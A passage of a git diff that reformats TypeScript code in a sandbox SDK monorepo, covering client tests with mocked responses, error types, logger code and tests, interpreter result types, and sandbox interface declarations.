it('should discover available system commands', async () => { const systemCommands = ['ls', 'cat', 'echo', 'grep', 'find']; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockCommandsResponse(systemCommands)), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockCommandsResponse(systemCommands)), { + status: 200 + }) + ); const result = await client.getCommands(); @@ -139,10 +145,11 @@ describe('UtilityClient', () => { it('should handle minimal command environments', async () => { const minimalCommands = ['sh', 'echo', 'cat']; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockCommandsResponse(minimalCommands)), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockCommandsResponse(minimalCommands)), { + status: 200 + }) + ); const result = await client.getCommands(); @@ -153,10 +160,11 @@ describe('UtilityClient', () => { it('should handle large command environments', async () => { const richCommands = Array.from({ length: 150 }, (_, i) => `cmd_${i}`); - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockCommandsResponse(richCommands)), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockCommandsResponse(richCommands)), { + status: 200 + }) + ); const result = await client.getCommands(); @@ -165,10 +173,9 @@ describe('UtilityClient', () => { }); it('should handle empty command environments', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockCommandsResponse([])), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockCommandsResponse([])), { status: 200 }) + ); const result = await client.getCommands(); @@ -182,10 +189,9 @@ describe('UtilityClient', () => { code: 'PERMISSION_DENIED' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 403 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 403 }) + ); await expect(client.getCommands()).rejects.toThrow(); }); @@ -193,10 +199,9 @@ describe('UtilityClient', () => { describe('error handling and resilience', () => { it('should handle malformed server responses gracefully', async () => { - mockFetch.mockResolvedValue(new Response( - 'invalid json {', - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response('invalid json {', { status: 200 }) + ); await expect(client.ping()).rejects.toThrow(SandboxError); }); @@ -210,10 +215,9 @@ describe('UtilityClient', () => { it('should handle partial service failures', async () => { // First call (ping) succeeds - mockFetch.mockResolvedValueOnce(new Response( - JSON.stringify(mockPingResponse()), - { status: 200 } - )); + mockFetch.mockResolvedValueOnce( + new Response(JSON.stringify(mockPingResponse()), { status: 200 }) + ); // Second call (getCommands) fails const errorResponse = { @@ -221,10 +225,9 @@ describe('UtilityClient', () => { code: 'SERVICE_UNAVAILABLE' }; - mockFetch.mockResolvedValueOnce(new Response( - JSON.stringify(errorResponse), - { status: 503 } - )); + mockFetch.mockResolvedValueOnce( + new Response(JSON.stringify(errorResponse), { status: 503 }) + ); const pingResult = await client.ping(); expect(pingResult).toBe('pong'); @@ -239,7 +242,9 @@ describe('UtilityClient', () => { if (callCount % 2 === 0) { return Promise.reject(new Error('Intermittent failure')); } else { - return Promise.resolve(new Response(JSON.stringify(mockPingResponse()))); + return Promise.resolve( + new Response(JSON.stringify(mockPingResponse())) + ); } }); @@ -247,7 +252,7 @@ describe('UtilityClient', () => { client.ping(), // Should succeed (call 1) client.ping(), // Should fail (call 2) client.ping(), // Should succeed (call 3) - client.ping(), // Should fail (call 4) + client.ping() // Should fail (call 4) ]); expect(results[0].status).toBe('fulfilled'); @@ -259,10 +264,11 @@ describe('UtilityClient', () => { describe('version checking', () => { it('should get container version successfully', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockVersionResponse('0.4.5')), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockVersionResponse('0.4.5')), { + status: 200 + }) + ); const result = await client.getVersion(); @@ -273,10 +279,11 @@ describe('UtilityClient', () => { const versions = ['1.0.0', '2.5.3-beta', '0.0.1', '10.20.30']; for (const version of versions) { - mockFetch.mockResolvedValueOnce(new Response( - JSON.stringify(mockVersionResponse(version)), - { status: 200 } - )); + mockFetch.mockResolvedValueOnce( + new Response(JSON.stringify(mockVersionResponse(version)), { + status: 200 + }) + ); const result = await client.getVersion(); expect(result).toBe(version); @@ -285,10 +292,9 @@ describe('UtilityClient', () => { it('should return "unknown" when version endpoint does not exist (backward compatibility)', async () => { // Simulate 404 or other error for old containers - mockFetch.mockResolvedValue(new Response( - JSON.stringify({ error: 'Not Found' }), - { status: 404 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify({ error: 'Not Found' }), { status: 404 }) + ); const result = await client.getVersion(); @@ -304,10 +310,11 @@ describe('UtilityClient', () => { }); it('should handle version response with unknown value', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockVersionResponse('unknown')), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockVersionResponse('unknown')), { + status: 200 + }) + ); const result = await client.getVersion(); @@ -324,7 +331,7 @@ describe('UtilityClient', () => { it('should initialize with full options', () => { const fullOptionsClient = new UtilityClient({ baseUrl: 'http://custom.com', - port: 8080, + port: 8080 }); expect(fullOptionsClient).toBeInstanceOf(UtilityClient); }); diff --git a/packages/sandbox/tsdown.config.ts b/packages/sandbox/tsdown.config.ts index 3420193a..8f50035e 100644 --- a/packages/sandbox/tsdown.config.ts +++ b/packages/sandbox/tsdown.config.ts @@ -1,12 +1,12 @@ -import { defineConfig } from 'tsdown' +import { defineConfig } from 'tsdown'; export default defineConfig({ entry: 'src/index.ts', - outDir: 'dist', + outDir: 'dist', dts: { sourcemap: true, - resolve: ['@repo/shared'], + resolve: ['@repo/shared'] }, sourcemap: true, - format: 'esm', + format: 'esm' }); diff --git a/packages/sandbox/vitest.config.ts b/packages/sandbox/vitest.config.ts index 6aaac260..70493061 100644 --- a/packages/sandbox/vitest.config.ts +++ b/packages/sandbox/vitest.config.ts @@ -18,14 +18,14 @@ export default defineWorkersConfig({ poolOptions: { workers: { wrangler: { - configPath: './tests/wrangler.jsonc', + configPath: './tests/wrangler.jsonc' }, singleWorker: true, - isolatedStorage: false, - }, - }, + isolatedStorage: false + } + } }, esbuild: { - target: 'esnext', - }, + target: 'esnext' + } }); diff --git a/packages/shared/package.json b/packages/shared/package.json index 5422d06a..7d4101f2 100644 --- a/packages/shared/package.json +++ b/packages/shared/package.json @@ -22,6 +22,6 @@ }, "devDependencies": { "@repo/typescript-config": "*", - "typescript": "^5.8.3" + "typescript": "^5.9.3" } } diff --git a/packages/shared/src/errors/codes.ts b/packages/shared/src/errors/codes.ts index 05ce2f90..345b1d9c 100644 --- a/packages/shared/src/errors/codes.ts +++ b/packages/shared/src/errors/codes.ts @@ -94,7 +94,7 @@ export const ErrorCode = { // Generic Errors (400/500) INVALID_JSON_RESPONSE: 'INVALID_JSON_RESPONSE', UNKNOWN_ERROR: 'UNKNOWN_ERROR', - INTERNAL_ERROR: 'INTERNAL_ERROR', + INTERNAL_ERROR: 'INTERNAL_ERROR' } as const; -export type ErrorCode = typeof ErrorCode[keyof typeof ErrorCode]; +export type ErrorCode = (typeof ErrorCode)[keyof typeof ErrorCode]; diff --git a/packages/shared/src/errors/contexts.ts b/packages/shared/src/errors/contexts.ts index f73488b1..935811ca 100644 --- a/packages/shared/src/errors/contexts.ts +++ b/packages/shared/src/errors/contexts.ts @@ -75,7 +75,7 @@ export interface PortErrorContext { * Git error contexts */ export interface GitRepositoryNotFoundContext { - repository: string; // Full URL + repository: string; // Full URL } export interface GitAuthFailedContext { @@ -99,8 +99,8 @@ export interface GitErrorContext { * Code interpreter error contexts */ export interface InterpreterNotReadyContext { - retryAfter?: number; // Seconds - progress?: number; // 0-100 + retryAfter?: number; // Seconds + progress?: number; // 0-100 } export interface ContextNotFoundContext { @@ -109,8 +109,8 @@ export interface ContextNotFoundContext { export interface CodeExecutionContext { contextId?: string; - ename?: string; // Error name - evalue?: string; // Error value + ename?: string; // Error name + evalue?: string; // Error value traceback?: string[]; // Stack trace } @@ -131,5 +131,5 @@ export interface ValidationFailedContext { export interface InternalErrorContext { originalError?: string; stack?: string; - [key: string]: unknown; // Allow extension + [key: string]: unknown; // Allow extension } diff --git a/packages/shared/src/errors/index.ts b/packages/shared/src/errors/index.ts index b7d84005..8fd8a5eb 100644 --- a/packages/shared/src/errors/index.ts +++ b/packages/shared/src/errors/index.ts @@ -52,7 +52,7 @@ export type { PortNotExposedContext, ProcessErrorContext, ProcessNotFoundContext, - ValidationFailedContext, + ValidationFailedContext } from './contexts'; // Export utility functions export { ERROR_STATUS_MAP, getHttpStatus } from './status-map'; @@ -63,5 +63,5 @@ export { Operation, type OperationType, type ServiceError, - type ServiceResult, + type ServiceResult } from './types'; diff --git a/packages/shared/src/errors/status-map.ts b/packages/shared/src/errors/status-map.ts index b62716d8..33b3b7e2 100644 --- a/packages/shared/src/errors/status-map.ts +++ b/packages/shared/src/errors/status-map.ts @@ -62,7 +62,7 @@ export const ERROR_STATUS_MAP: Record = { [ErrorCode.GIT_OPERATION_FAILED]: 500, [ErrorCode.CODE_EXECUTION_ERROR]: 500, [ErrorCode.UNKNOWN_ERROR]: 500, - [ErrorCode.INTERNAL_ERROR]: 500, + [ErrorCode.INTERNAL_ERROR]: 500 }; /** diff --git a/packages/shared/src/errors/types.ts b/packages/shared/src/errors/types.ts index 2ee86a79..d9004e09 100644 --- a/packages/shared/src/errors/types.ts +++ b/packages/shared/src/errors/types.ts @@ -39,10 +39,10 @@ export const Operation = { // Code Interpreter CODE_EXECUTE: 'code.execute', CODE_CONTEXT_CREATE: 'code.context.create', - CODE_CONTEXT_DELETE: 'code.context.delete', + CODE_CONTEXT_DELETE: 'code.context.delete' } as const; -export type OperationType = typeof Operation[keyof typeof Operation]; +export type OperationType = (typeof Operation)[keyof typeof Operation]; /** * Standard error response format with generic context type @@ -97,7 +97,7 @@ export interface ErrorResponse> { export interface ServiceError { message: string; code: ErrorCode; - details?: Record; // Becomes context in ErrorResponse + details?: Record; // Becomes context in ErrorResponse } /** diff --git a/packages/shared/src/index.ts b/packages/shared/src/index.ts index 693e7eff..718e743d 100644 --- a/packages/shared/src/index.ts +++ b/packages/shared/src/index.ts @@ -3,14 +3,13 @@ * Used by both client SDK and container runtime */ - // Export all interpreter types export type { ChartData, CodeContext, CreateContextOptions, ExecutionError, - ExecutionResult, + ExecutionResult, OutputMessage, Result, RunCodeOptions @@ -98,8 +97,4 @@ export type { StreamOptions, WriteFileResult } from './types.js'; -export { - isExecResult, - isProcess, - isProcessStatus -} from './types.js'; +export { isExecResult, isProcess, isProcessStatus } from './types.js'; diff --git a/packages/shared/src/interpreter-types.ts b/packages/shared/src/interpreter-types.ts index 57967d55..78c8552d 100644 --- a/packages/shared/src/interpreter-types.ts +++ b/packages/shared/src/interpreter-types.ts @@ -4,7 +4,7 @@ export interface CreateContextOptions { * Programming language for the context * @default 'python' */ - language?: "python" | "javascript" | "typescript"; + language?: 'python' | 'javascript' | 'typescript'; /** * Working directory for the context @@ -62,7 +62,7 @@ export interface RunCodeOptions { * Language to use if context is not provided * @default 'python' */ - language?: "python" | "javascript" | "typescript"; + language?: 'python' | 'javascript' | 'typescript'; /** * Environment variables for this execution @@ -183,13 +183,13 @@ export interface ChartData { * Type of chart */ type: - | "line" - | "bar" - | "scatter" - | "pie" - | "histogram" - | "heatmap" - | "unknown"; + | 'line' + | 'bar' + | 'scatter' + | 'pie' + | 'histogram' + | 'heatmap' + | 'unknown'; /** * Chart title @@ -214,7 +214,7 @@ export interface ChartData { /** * Library that generated the chart */ - library?: "matplotlib" | "plotly" | "altair" | "seaborn" | "unknown"; + library?: 'matplotlib' | 'plotly' | 'altair' | 'seaborn' | 'unknown'; /** * Base64 encoded image if available @@ -281,7 +281,7 @@ export class Execution { */ public logs = { stdout: [] as string[], - stderr: [] as string[], + stderr: [] as string[] }; /** @@ -319,8 +319,8 @@ export class Execution { javascript: result.javascript, json: result.json, chart: result.chart, - data: result.data, - })), + data: result.data + })) }; } } @@ -330,39 +330,39 @@ export class ResultImpl implements Result { constructor(private raw: any) {} get text(): string | undefined { - return this.raw.text || this.raw.data?.["text/plain"]; + return this.raw.text || this.raw.data?.['text/plain']; } get html(): string | undefined { - return this.raw.html || this.raw.data?.["text/html"]; + return this.raw.html || this.raw.data?.['text/html']; } get png(): string | undefined { - return this.raw.png || this.raw.data?.["image/png"]; + return this.raw.png || this.raw.data?.['image/png']; } get jpeg(): string | undefined { - return this.raw.jpeg || this.raw.data?.["image/jpeg"]; + return this.raw.jpeg || this.raw.data?.['image/jpeg']; } get svg(): string | undefined { - return this.raw.svg || this.raw.data?.["image/svg+xml"]; + return this.raw.svg || this.raw.data?.['image/svg+xml']; } get latex(): string | undefined { - return this.raw.latex || this.raw.data?.["text/latex"]; + return this.raw.latex || this.raw.data?.['text/latex']; } get markdown(): string | undefined { - return this.raw.markdown || this.raw.data?.["text/markdown"]; + return this.raw.markdown || this.raw.data?.['text/markdown']; } get javascript(): string | undefined { - return this.raw.javascript || this.raw.data?.["application/javascript"]; + return this.raw.javascript || this.raw.data?.['application/javascript']; } get json(): any { - return this.raw.json || this.raw.data?.["application/json"]; + return this.raw.json || this.raw.data?.['application/json']; } get chart(): ChartData | undefined { @@ -375,16 +375,16 @@ export class ResultImpl implements Result { formats(): string[] { const formats: string[] = []; - if (this.text) formats.push("text"); - if (this.html) formats.push("html"); - if (this.png) formats.push("png"); - if (this.jpeg) formats.push("jpeg"); - if (this.svg) formats.push("svg"); - if (this.latex) formats.push("latex"); - if (this.markdown) formats.push("markdown"); - if (this.javascript) formats.push("javascript"); - if (this.json) formats.push("json"); - if (this.chart) formats.push("chart"); + if (this.text) formats.push('text'); + if (this.html) formats.push('html'); + if (this.png) formats.push('png'); + if (this.jpeg) formats.push('jpeg'); + if (this.svg) formats.push('svg'); + if (this.latex) formats.push('latex'); + if (this.markdown) formats.push('markdown'); + if (this.javascript) formats.push('javascript'); + if (this.json) formats.push('json'); + if (this.chart) formats.push('chart'); return formats; } } diff --git a/packages/shared/src/logger/index.ts b/packages/shared/src/logger/index.ts index d4a4331b..03b9acf7 100644 --- a/packages/shared/src/logger/index.ts +++ b/packages/shared/src/logger/index.ts @@ -67,7 +67,7 @@ export function createNoOpLogger(): Logger { info: () => {}, warn: () => {}, error: () => {}, - child: () => createNoOpLogger(), + child: () => createNoOpLogger() }; } @@ -136,7 +136,10 @@ export function getLogger(): Logger { * } * ``` */ -export function runWithLogger(logger: Logger, fn: () => T | Promise): T | Promise { +export function runWithLogger( + logger: Logger, + fn: () => T | Promise +): T | Promise { return loggerStorage.run(logger, fn); } @@ -173,7 +176,7 @@ export function createLogger( const baseContext: LogContext = { ...context, traceId: context.traceId || TraceContext.generate(), - component: context.component, + component: context.component }; return new CloudflareLogger(baseContext, minLevel, pretty); @@ -233,7 +236,9 @@ function getEnvVar(name: string): string | undefined { // Try Bun.env (Bun runtime) if (typeof Bun !== 'undefined') { - const bunEnv = (Bun as any).env as Record | undefined; + const bunEnv = (Bun as any).env as + | Record + | undefined; if (bunEnv) { return bunEnv[name]; } diff --git a/packages/shared/src/logger/logger.ts b/packages/shared/src/logger/logger.ts index 99a8d0cb..459cdd96 100644 --- a/packages/shared/src/logger/logger.ts +++ b/packages/shared/src/logger/logger.ts @@ -14,7 +14,7 @@ const COLORS = { info: '\x1b[32m', // Green warn: '\x1b[33m', // Yellow error: '\x1b[31m', // Red - dim: '\x1b[2m', // Dim + dim: '\x1b[2m' // Dim }; /** @@ -107,7 +107,7 @@ export class CloudflareLogger implements Logger { msg: message, ...this.baseContext, ...context, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; // Add error details if provided @@ -115,7 +115,7 @@ export class CloudflareLogger implements Logger { logData.error = { message: error.message, stack: error.stack, - name: error.name, + name: error.name }; } @@ -179,7 +179,9 @@ export class CloudflareLogger implements Logger { const traceIdShort = traceId ? String(traceId).substring(0, 12) : ''; // Start with level and component - let logLine = `${levelColor}${levelStr.padEnd(5)}${COLORS.reset} ${componentBadge} ${msg}`; + let logLine = `${levelColor}${levelStr.padEnd(5)}${ + COLORS.reset + } ${componentBadge} ${msg}`; // Add trace ID if present if (traceIdShort) { @@ -189,9 +191,11 @@ export class CloudflareLogger implements Logger { // Collect important context fields const contextFields: string[] = []; if (operation) contextFields.push(`operation: ${operation}`); - if (commandId) contextFields.push(`commandId: ${String(commandId).substring(0, 12)}`); + if (commandId) + contextFields.push(`commandId: ${String(commandId).substring(0, 12)}`); if (sandboxId) contextFields.push(`sandboxId: ${sandboxId}`); - if (sessionId) contextFields.push(`sessionId: ${String(sessionId).substring(0, 12)}`); + if (sessionId) + contextFields.push(`sessionId: ${String(sessionId).substring(0, 12)}`); if (processId) contextFields.push(`processId: ${processId}`); if (duration !== undefined) contextFields.push(`duration: ${duration}ms`); @@ -205,7 +209,11 @@ export class CloudflareLogger implements Logger { // Output error details on separate lines if present if (error && typeof error === 'object') { - const errorObj = error as { message?: string; stack?: string; name?: string }; + const errorObj = error as { + message?: string; + stack?: string; + name?: string; + }; if (errorObj.message) { consoleFn(` ${COLORS.error}Error: ${errorObj.message}${COLORS.reset}`); } @@ -216,7 +224,9 @@ export class CloudflareLogger implements Logger { // Output additional context if present if (Object.keys(rest).length > 0) { - consoleFn(` ${COLORS.dim}${JSON.stringify(rest, null, 2)}${COLORS.reset}`); + consoleFn( + ` ${COLORS.dim}${JSON.stringify(rest, null, 2)}${COLORS.reset}` + ); } } diff --git a/packages/shared/src/logger/types.ts b/packages/shared/src/logger/types.ts index 6191f21c..1b6edb59 100644 --- a/packages/shared/src/logger/types.ts +++ b/packages/shared/src/logger/types.ts @@ -11,7 +11,7 @@ export enum LogLevel { DEBUG = 0, INFO = 1, WARN = 2, - ERROR = 3, + ERROR = 3 } export type LogComponent = 'container' | 'sandbox-do' | 'executor'; diff --git a/packages/shared/src/types.ts b/packages/shared/src/types.ts index d885425f..32fb521d 100644 --- a/packages/shared/src/types.ts +++ b/packages/shared/src/types.ts @@ -1,4 +1,9 @@ -import type { CodeContext, CreateContextOptions, ExecutionResult, RunCodeOptions } from './interpreter-types'; +import type { + CodeContext, + CreateContextOptions, + ExecutionResult, + RunCodeOptions +} from './interpreter-types'; // Base execution options shared across command types export interface BaseExecOptions { @@ -128,12 +133,12 @@ export interface ProcessOptions extends BaseExecOptions { } export type ProcessStatus = - | 'starting' // Process is being initialized - | 'running' // Process is actively running - | 'completed' // Process exited successfully (code 0) - | 'failed' // Process exited with non-zero code - | 'killed' // Process was terminated by signal - | 'error'; // Process failed to start or encountered error + | 'starting' // Process is being initialized + | 'running' // Process is actively running + | 'completed' // Process exited successfully (code 0) + | 'failed' // Process exited with non-zero code + | 'killed' // Process was terminated by signal + | 'error'; // Process failed to start or encountered error export interface Process { /** @@ -225,7 +230,6 @@ export interface StreamOptions extends BaseExecOptions { signal?: AbortSignal; } - // Session management types export interface SessionOptions { /** @@ -599,10 +603,13 @@ export interface ShutdownResult { export interface ExecutionSession { /** Unique session identifier */ readonly id: string; - + // Command execution exec(command: string, options?: ExecOptions): Promise; - execStream(command: string, options?: StreamOptions): Promise>; + execStream( + command: string, + options?: StreamOptions + ): Promise>; // Background process management startProcess(command: string, options?: ProcessOptions): Promise; @@ -611,30 +618,51 @@ export interface ExecutionSession { killProcess(id: string, signal?: string): Promise; killAllProcesses(): Promise; cleanupCompletedProcesses(): Promise; - getProcessLogs(id: string): Promise<{ stdout: string; stderr: string; processId: string }>; - streamProcessLogs(processId: string, options?: { signal?: AbortSignal }): Promise>; - + getProcessLogs( + id: string + ): Promise<{ stdout: string; stderr: string; processId: string }>; + streamProcessLogs( + processId: string, + options?: { signal?: AbortSignal } + ): Promise>; + // File operations - writeFile(path: string, content: string, options?: { encoding?: string }): Promise; - readFile(path: string, options?: { encoding?: string }): Promise; + writeFile( + path: string, + content: string, + options?: { encoding?: string } + ): Promise; + readFile( + path: string, + options?: { encoding?: string } + ): Promise; readFileStream(path: string): Promise>; mkdir(path: string, options?: { recursive?: boolean }): Promise; deleteFile(path: string): Promise; renameFile(oldPath: string, newPath: string): Promise; - moveFile(sourcePath: string, destinationPath: string): Promise; + moveFile( + sourcePath: string, + destinationPath: string + ): Promise; listFiles(path: string, options?: ListFilesOptions): Promise; exists(path: string): Promise; // Git operations - gitCheckout(repoUrl: string, options?: { branch?: string; targetDir?: string }): Promise; - + gitCheckout( + repoUrl: string, + options?: { branch?: string; targetDir?: string } + ): Promise; + // Environment management setEnvVars(envVars: Record): Promise; // Code interpreter methods createCodeContext(options?: CreateContextOptions): Promise; runCode(code: string, options?: RunCodeOptions): Promise; - runCodeStream(code: string, options?: RunCodeOptions): Promise>; + runCodeStream( + code: string, + options?: RunCodeOptions + ): Promise>; listCodeContexts(): Promise; deleteCodeContext(contextId: string): Promise; } @@ -652,26 +680,47 @@ export interface ISandbox { killAllProcesses(): Promise; // Streaming operations - execStream(command: string, options?: StreamOptions): Promise>; - streamProcessLogs(processId: string, options?: { signal?: AbortSignal }): Promise>; + execStream( + command: string, + options?: StreamOptions + ): Promise>; + streamProcessLogs( + processId: string, + options?: { signal?: AbortSignal } + ): Promise>; // Utility methods cleanupCompletedProcesses(): Promise; - getProcessLogs(id: string): Promise<{ stdout: string; stderr: string; processId: string }>; + getProcessLogs( + id: string + ): Promise<{ stdout: string; stderr: string; processId: string }>; // File operations - writeFile(path: string, content: string, options?: { encoding?: string }): Promise; - readFile(path: string, options?: { encoding?: string }): Promise; + writeFile( + path: string, + content: string, + options?: { encoding?: string } + ): Promise; + readFile( + path: string, + options?: { encoding?: string } + ): Promise; readFileStream(path: string): Promise>; mkdir(path: string, options?: { recursive?: boolean }): Promise; deleteFile(path: string): Promise; renameFile(oldPath: string, newPath: string): Promise; - moveFile(sourcePath: string, destinationPath: string): Promise; + moveFile( + sourcePath: string, + destinationPath: string + ): Promise; listFiles(path: string, options?: ListFilesOptions): Promise; exists(path: string, sessionId?: string): Promise; // Git operations - gitCheckout(repoUrl: string, options?: { branch?: string; targetDir?: string }): Promise; + gitCheckout( + repoUrl: string, + options?: { branch?: string; targetDir?: string } + ): Promise; // Session management createSession(options?: SessionOptions): Promise; @@ -679,29 +728,43 @@ export interface ISandbox { // Code interpreter methods createCodeContext(options?: CreateContextOptions): Promise; runCode(code: string, options?: RunCodeOptions): Promise; - runCodeStream(code: string, options?: RunCodeOptions): Promise; + runCodeStream( + code: string, + options?: RunCodeOptions + ): Promise; listCodeContexts(): Promise; deleteCodeContext(contextId: string): Promise; } // Type guards for runtime validation export function isExecResult(value: any): value is ExecResult { - return value && + return ( + value && typeof value.success === 'boolean' && typeof value.exitCode === 'number' && typeof value.stdout === 'string' && - typeof value.stderr === 'string'; + typeof value.stderr === 'string' + ); } export function isProcess(value: any): value is Process { - return value && + return ( + value && typeof value.id === 'string' && typeof value.command === 'string' && - typeof value.status === 'string'; + typeof value.status === 'string' + ); } export function isProcessStatus(value: string): value is ProcessStatus { - return ['starting', 'running', 'completed', 'failed', 'killed', 'error'].includes(value); + return [ + 'starting', + 'running', + 'completed', + 'failed', + 'killed', + 'error' + ].includes(value); } export type { @@ -716,4 +779,3 @@ export type { } from './interpreter-types'; // Re-export interpreter types for convenience export { Execution, ResultImpl } from './interpreter-types'; - diff --git a/packages/shared/tests/logger.test.ts b/packages/shared/tests/logger.test.ts index 878a0d08..8e60adba 100644 --- a/packages/shared/tests/logger.test.ts +++ b/packages/shared/tests/logger.test.ts @@ -57,7 +57,7 @@ describe('Logger Module', () => { msg: 'Debug message', component: 'durable-object', traceId: 'tr_test123', - operation: 'test', + operation: 'test' }); }); @@ -108,7 +108,7 @@ describe('Logger Module', () => { expect(logOutput.msg).toBe('Error occurred'); expect(logOutput.error).toMatchObject({ message: 'Test error', - stack: expect.stringContaining('Error: Test error'), + stack: expect.stringContaining('Error: Test error') }); }); @@ -122,7 +122,9 @@ describe('Logger Module', () => { logger.info('Test message'); const logOutput = JSON.parse(consoleLogSpy.mock.calls[0][0]); - expect(logOutput.timestamp).toMatch(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/); + expect(logOutput.timestamp).toMatch( + /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/ + ); }); }); @@ -187,12 +189,19 @@ describe('Logger Module', () => { describe('CloudflareLogger - Context Inheritance', () => { it('should create child logger with merged context', () => { const parentLogger = new CloudflareLogger( - { component: 'durable-object', traceId: 'tr_parent', sandboxId: 'sandbox-1' } as LogContext, + { + component: 'durable-object', + traceId: 'tr_parent', + sandboxId: 'sandbox-1' + } as LogContext, LogLevelEnum.INFO, false ); - const childLogger = parentLogger.child({ operation: 'exec', commandId: 'cmd-123' }); + const childLogger = parentLogger.child({ + operation: 'exec', + commandId: 'cmd-123' + }); childLogger.info('Child log'); expect(consoleLogSpy).toHaveBeenCalledOnce(); @@ -202,7 +211,7 @@ describe('Logger Module', () => { traceId: 'tr_parent', sandboxId: 'sandbox-1', operation: 'exec', - commandId: 'cmd-123', + commandId: 'cmd-123' }); }); @@ -225,7 +234,7 @@ describe('Logger Module', () => { traceId: 'tr_nest', sessionId: 'session-1', operation: 'exec', - commandId: 'cmd-456', + commandId: 'cmd-456' }); }); @@ -249,7 +258,11 @@ describe('Logger Module', () => { describe('CloudflareLogger - Pretty Printing', () => { it('should use pretty printing when enabled', () => { const logger = new CloudflareLogger( - { component: 'durable-object', traceId: 'tr_pretty123456789', sandboxId: 'sandbox-1' } as LogContext, + { + component: 'durable-object', + traceId: 'tr_pretty123456789', + sandboxId: 'sandbox-1' + } as LogContext, LogLevelEnum.INFO, true // Enable pretty printing ); @@ -284,7 +297,7 @@ describe('Logger Module', () => { expect(JSON.parse(output)).toMatchObject({ level: 'info', msg: 'JSON message', - component: 'container', + component: 'container' }); }); @@ -381,7 +394,7 @@ describe('Logger Module', () => { const logger = createLogger({ component: 'durable-object', traceId: 'tr_factory', - sandboxId: 'sandbox-1', + sandboxId: 'sandbox-1' }); logger.info('Factory test'); @@ -391,13 +404,13 @@ describe('Logger Module', () => { expect(output).toMatchObject({ component: 'durable-object', traceId: 'tr_factory', - sandboxId: 'sandbox-1', + sandboxId: 'sandbox-1' }); }); it('should auto-generate trace ID if not provided', () => { const logger = createLogger({ - component: 'container', + component: 'container' }); logger.info('Auto trace'); @@ -421,7 +434,7 @@ describe('Logger Module', () => { it('should store and retrieve logger from context', async () => { const logger = createLogger({ component: 'durable-object', - traceId: 'tr_async', + traceId: 'tr_async' }); await runWithLogger(logger, () => { @@ -435,13 +448,15 @@ describe('Logger Module', () => { }); it('should throw error when accessing logger outside context', () => { - expect(() => getLogger()).toThrow('Logger not initialized in async context'); + expect(() => getLogger()).toThrow( + 'Logger not initialized in async context' + ); }); it('should support nested runWithLogger calls', async () => { const parentLogger = createLogger({ component: 'durable-object', - traceId: 'tr_parent', + traceId: 'tr_parent' }); await runWithLogger(parentLogger, async () => { @@ -456,7 +471,7 @@ describe('Logger Module', () => { const output = JSON.parse(consoleLogSpy.mock.calls[0][0]); expect(output).toMatchObject({ traceId: 'tr_parent', - operation: 'exec', + operation: 'exec' }); }); @@ -476,7 +491,9 @@ describe('Logger Module', () => { await Promise.all([promise1, promise2]); expect(consoleLogSpy).toHaveBeenCalledTimes(2); - const outputs = consoleLogSpy.mock.calls.map((call) => JSON.parse(call[0])); + const outputs = consoleLogSpy.mock.calls.map((call) => + JSON.parse(call[0]) + ); const traceIds = outputs.map((o) => o.traceId); expect(traceIds).toContain('tr_1'); @@ -533,7 +550,8 @@ describe('Logger Module', () => { false ); - const specialMessage = 'Message with "quotes", \\backslashes\\, and \n newlines'; + const specialMessage = + 'Message with "quotes", \\backslashes\\, and \n newlines'; logger.info(specialMessage); expect(consoleLogSpy).toHaveBeenCalledOnce(); diff --git a/packages/shared/vitest.config.ts b/packages/shared/vitest.config.ts index 41eca6d2..0c478d4d 100644 --- a/packages/shared/vitest.config.ts +++ b/packages/shared/vitest.config.ts @@ -14,9 +14,9 @@ export default defineConfig({ include: ['tests/**/*.test.ts'], environment: 'node', testTimeout: 10000, - hookTimeout: 10000, + hookTimeout: 10000 }, esbuild: { - target: 'esnext', - }, + target: 'esnext' + } }); diff --git a/tests/e2e/build-test-workflow.test.ts b/tests/e2e/build-test-workflow.test.ts index 8142e499..fbe04d10 100644 --- a/tests/e2e/build-test-workflow.test.ts +++ b/tests/e2e/build-test-workflow.test.ts @@ -1,6 +1,11 @@ import { describe, test, expect, beforeAll, afterAll, vi } from 'vitest'; import { getTestWorkerUrl, WranglerDevRunner } from './helpers/wrangler-runner'; -import { createSandboxId, createTestHeaders, fetchWithStartup, cleanupSandbox } from './helpers/test-fixtures'; +import { + createSandboxId, + createTestHeaders, + fetchWithStartup, + cleanupSandbox +} from './helpers/test-fixtures'; /** * Build and Test Workflow Integration Tests @@ -45,14 +50,14 @@ describe('Build and Test Workflow', () => { // Step 1: Execute simple command // Use vi.waitFor to handle container startup time const echoResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execute`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: 'echo "Hello from sandbox"', - + async () => + fetchWithStartup(`${workerUrl}/api/execute`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: 'echo "Hello from sandbox"' + }) }), - }), { timeout: 90000, interval: 1000 } ); @@ -67,9 +72,8 @@ describe('Build and Test Workflow', () => { headers, body: JSON.stringify({ path: '/test-file.txt', - content: 'Integration test content', - - }), + content: 'Integration test content' + }) }); expect(writeResponse.status).toBe(200); @@ -81,9 +85,8 @@ describe('Build and Test Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/test-file.txt', - - }), + path: '/test-file.txt' + }) }); expect(readResponse.status).toBe(200); @@ -95,8 +98,8 @@ describe('Build and 